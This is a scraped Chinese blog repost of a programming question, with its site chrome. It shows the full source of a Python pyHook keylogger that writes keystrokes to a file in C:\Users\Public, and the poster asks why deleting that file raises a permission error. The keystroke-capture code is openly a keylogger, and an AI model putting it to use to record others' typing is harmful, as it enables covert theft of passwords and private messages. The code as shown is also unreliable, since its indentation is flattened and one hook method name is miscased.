python中调用其他程序占用_Python中的文件处理:被另一个进程使用

好吧,我做了这个脚本,它支持记录一些击键一段时间,把它们保存在一个文件中,然后删除文件,如果用户想,但是当脚本试图删除文件时,我得到这个错误。在Traceback (most recent call last):File

"C:\Users\Tormentor\Desktop\S.D.A.K.L\pregunta.py", line 34, in

os.remove(path2+"\"+name) PermissionError: [WinError 32] The

process cannot access the file because it is being used by another

process:'C:\Users\Public\myfile.txt'

我做了一些研究,我认为它不能被删除,因为我的“snp”函数从不关闭记录击键的文件,所以我如何关闭文件来删除它?

谢谢你的帮助:)。在import os

import time

import pyHook, pythoncom, sys, logging

path="C:\\Users\\Public\\myfile.txt"

path2="C:\\Users\\Public"

name="myfile.txt"

TinM=10

def snp(event): #

global path

logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')

chr(event.Ascii)

logging.log(10,chr(event.Ascii))

return True

timeout=time.time()+TinM

while timeout > time.time():

hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = snp

hooks_manager.Hookkeyboard()

print("Logging keystrokes")

pythoncom.PumpWaitingMessages()

else:

hooks_manager.UnhookKeyboard()

x=input("Keylogger stoped do you want to delete the archive? y / n")

if x == "y":

for(path2,dirs,files) in os.walk(path2):

if name in files:

os.remove(path2+"\\"+name) #

print("Archive deleted. Goodbye")

else:

print("Archive does not exist or cant be found goodbye! :D")

else:

print("Goodbye! :D")

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值